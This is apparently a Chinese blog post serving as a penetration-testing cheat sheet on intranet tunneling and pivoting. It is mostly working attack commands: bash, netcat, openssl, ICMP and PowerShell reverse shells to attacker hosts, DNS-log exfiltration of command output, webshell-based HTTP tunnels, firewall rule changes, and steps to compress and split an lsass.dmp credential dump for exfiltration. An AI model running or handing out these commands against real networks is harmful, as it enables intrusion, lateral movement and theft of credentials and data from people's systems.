内网渗透—隧道穿透


目录

1
2
3
4
5
6
.转发场景介绍
.连通性测试
.正向端口转发
.反向端口转发
.ssh多级转发
.文件打包&传输

正向、反向代理

Client -> Transit server -> Server: Client能够正向连接Transit server。Transit server

Client <- Transit server -> Server: Client无法正向连接Transit server,但Transit server能够反向连接Client。

转发场景介绍
1
2
3
4
5
6
7
8
9
10
反弹shell
反弹端口
反弹socks
目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放,
此类业务场景已经极少出现;
目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端
口(3389、22、445、139等);
目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的
敏感端口(3389、22、445等)。

连通性测试

1
2
3
4
5
6
7
TCP
UDP
ICMP
HTTP\S
DNS
代理测试

TCP

内网Windows:

1
2
3
4
FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 151.*.*.147 %i") 自动telnet
所有端口
外网vps:
tcpdump
UDP
1
2
3
4
5
FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i rcoil.me
151.*.*.147")
外网vps: nc -lvp port
内网机器: nc -nvv ip port

ICMP
1
2
3
4
ICMP
外网vps:抓包、tcpdump icmp
内网机器:直接ping

HTTP\S
1
2
3
外网vps:nc -lvp 80 (or 8080等)
内网机器: curl vps-ip:8080

DNS
1
2
3
4
5
外网vps: nc -u -lvp 53
内网机器:
windows: nslookup www.baidu.com vps-ip
linux: dig @vps-ip www.baidu.com

代理查询
1
2
3
4
5
6
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings"
download PAC:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Strrings" /v AutoConfigURL

代理测试
1
2
3
4
5
curl www.baidu.com //不通
curl -x porxy -ip:8080 www.baidu.com //通
Tips:
是否有hostname类似于proxy的机器

反弹Shell

1
2
3
4
5
6
7
8
bash
netcat
ICMP
dnslog
powercat
加密反弹shell
Sctipt Language

bash
1
2
3
bash -i >& /dev/tcp/10.0.0.1/53 0>&1


netcat
1
2
3
4
5
6
7
8
正向:
nc -lp 1234 -e cmd.exe
nc -lp 1234 -e /bin/bash
正向:
win:nc -e cmd.exe ip port
linux:nc -e /bin/sh ip port
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

ICMP
1
2
3
4
5
6
7
vps:
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 39.xxx.xxx.17 182.xxx.xxx.207
内网 Windows:
icmpsh.exe -t 39.xxx.xxx.17 -d 500 -b 30 -s 128
dnslog
1
2
3
4
5
6
7
8
http://dnslog.cn
Linux
curl http://qqtvut.dnslog.cn'whoami'
ping 'whoami'.qqtvut.dnslog.cn
Windows
ping %USERNAME%.b182oj.ceye.io
注:使用场景:SQL盲注、不回显命令执行

powercat
1
2
3
4
import-module powercat.ps1
powercat -c 192.168.52.131 443 -e cmd.exe
powercat -l -p 443 -t 1000

加密反弹shell

1
2
3
4
5
6
7
8
第一步,在vps上生成SSL证书的公钥/私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步,在VPS监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
第三步 在目标上用openssl加密反弹shell的流量
mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1|openssl s_client -quiet -connect 172.16.2.163:4433 >
/tmp/s;rm /tmp/s

Sctipt Language
1
2
3
4
5
6
7
Python
Ruby
Perl
Java
PHP
Powershell

全局代理软件
1
2
3
ProxifierSocksCap64
proxychains
注: proxychains不支持udp和icmp协议,所以使用nmap要加上-sT、-Pn
netsh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
新建联入规则
netsh advfirewall firewall add rule name="Allow RDP" dir=in action=allow protocol=TCP
localport=8081 //允许外部的 tcp 8081 端口连入
查看所有转发规则
netsh interface portproxy show all
添加一个端口映射
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=8080
connectaddress=192.168.206.100 connectport=3389
清除规则
netsh interface portproxy delete v4tov4 listenaddress=192.168.206.101 listenport=8080
netsh advfirewall firewall delete rule name="transit test" (防火墙)
Tips:不出网机器,通过边界机器netsh出
A - 边界 - 公网 (被动连接,创建规则即可)

EW
1
2
3
4
5
6
7
8
9
10
11
正向连接,直接架设服务端
./ew -s ssocked -l 1080
直接配置代理即可
二级
B:
ew_for_Win.exe -s ssocksd -l 8888
A:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153
Attcker:
proxy to 10.129.72.168:8080

Termite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.以服务模式启动一个agent服务。
./agent -l p 8888
2.令管理端连接到agent并对agent进行管理。
./admin -c 127.0.0.1 -p 8888
3.show
0M
+-- 1M
| +-- 2M
4.开启socks
goto 2
socks 1080
5.shell
shell 7777

Http隧道穿透
1
2
3
4
5
6
7
8
9
10
11
reDuh
java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
nc -nvv 127.0.0.1 1010
[createTunnel] 7777:172.16.0.4:3389
reGeorg(建议无socket版)
python reGeorgSocksProxy.py -p 8080 -u http://1.2.3.4/tunnel.php
Tunna
python proxy.py -u http://192.168.113.210/conn.aspx -l 1080 -v
python proxy.py -u http://192.168.113.210/conn.aspx -l 99 -r 8080 -s -v -ndtunnel
python dt.py -u

Http隧道穿透
1
2
3
4
5
6
7
8
9
10
Abptts
pip install httplib2
pip install pycrypto
单端口
python abpttsclient.py -c webshell/config.txt -u http://192.168.113.210/f.aspx -f
127.0.0.1:1111/127.0.0.1:8080
多端口
python abpttsclient.py -c webshell/config.txt -u http://192.168.113.210/f.aspx -f
127.0.0.1:1111/127.0.0.1:8080 -f 127.0.0.1:2222/172.16.0.12:443

ssh转发 - 修改配置
1
2
3
4
5
6
7
8
9
10
11
修改ssh配置
vi /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PermitTuneel yes #Tunnel启用
ClientAliveInterval 60 #指定了服务器端向客户端请求消息的时间间隔,
ClientAliveCountMax 3 #请求后客户端没有响应的次数达到3次,就自动断开
PasswordAuthentication yes
/etc/init.d/ssh restart

ssh正向转发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssh正向端口转发(非目标机器执行)
ssh -CfNg -L lport:172.16.0.7:3389 root@172.16.0.155 -p 22
ssh正向socks代理
putty开启
Putty Configuration > Connection > SSH > Tunnels > D1080 Dynamic
反向端口转发
Lhost < - - - > proxy < - - - > firewal < - - - > Rhost
lcx
ew
Termite
ssocksPowershell
FRP
rinetd

ssh反向转发

lcx

1
2
3
4
5
6
7
8
9
10
11
被控端 lcx -slave 控制端ip port 被控端ip port
控制端 lcx -listen 接收端口 使用端口
FRP
frp 是一个可用于内网穿透的高性能的反向代理应用
支持 tcp,udp 协议,http 和 https 应用协议
frp 采用go语言开发,支持Windows、*nix
分为服务端、客户端。服务端部署在VPS,客户端部署在跳板机
配置文件:
/frps.ini
/frpc.ini

FRP配置文件

1
2
3
4
5
6
7
8
9
10
11
server:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = dm.org
dashboard_addr = 0.0.0.0
adshboard_port = 7438
[socks5]
type = tcp
remote_port = 8010
plugin = socks5

FRP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
server:
[common]
server_addr = 服务端IP
server_port = 7000
token = dm.org
dashboard_addr = 0.0.0.0dashboard_port = 7438
dashboard_user = dm
dashboard_pwd = sdob23242@#
[socks5_proxy]
type = tcp
remote_port =8010
plugin = socks5
plugin_user = dm123
Rinetd
添加防火墙规则
netsh advfirewall friewall add rul name="transit test2" dir=in program="c:test/rinetd.exe"
action=allow
编写规则
启动
编写规则
echo 0.0.0.0 7777 192.168.111.103 4444 > conf.txt
启动
rinetd.exe -c c:/test/conf.txt
清除防火墙规则
netsh advfirewall firewall delete rule name="transit test2" dir=in
ssh 参数
-C 压缩传输,加快传输速度
-f 在后台对用户名密码进行认证
-N 仅仅只用来转发,不用在弹回一个新的shell -n 后台运行
-q 安静模式,不要显示任何debug信息
-l 指定ssh登录名
-g 允许远程主机连接到本地用于转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口
ssh 反向转发修改ssh配置
反向端口转发(目标机器执行)
ssh -CfNg -R sshsrvport:172.16.0.7:3389 root@172.16.0.155 -p 22
vi ./rinetd.conf
0.0.0.0 3389 127.0.0.1 1389
/usr/sbin/rinetd -c rinetd.conf

反向socks代理
1
2
3
4
5
6
7
8
9
10
11
ssh -qTfnN -D 0.0.0.0:1080 root@127.0.0.1 -p 22 //监听端口(跳板机)
ssh -CfNg -R 0.0.0.0:1081:127.0.0.1:1080 root@192.168.3.96 -p 522 //建立连接 (跳板机)
Date Exfiltration
文件打包
文件切片
文件加密
节点选择
各种云盘
Tips:
内网大流量机器作为传输对象,如WSUS服务器、视频会议系统等

文件打包 - Makecab
1
2
3
4
5
6
7
8
9
10
11
12
13
1.单文件打包压缩
压缩: makecab lsass.dmp 1.zip
解压: expand 1.zip 1.dmp
2.多文件打包压缩
压缩:
dir /b > list.txt
makecab /f list.txt /d maxdisksize=102400
/f
/d maxdisksize==102400 单位是字节,这里为1m
解压:
expand 1.cab -f:* c:\expand\
c:\expand\目录必须存在

文件打包 -7z
1
2
3
4
5
rar
rar.exe a -r -v1m -padmin -m3 -x*.txt -ta c:\test.rar C:\test
7z
7z.exe a c:\xx.7z -ppass -mhe c:\test -v1m


文章作者: thirteensummer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 thirteensummer !
  目录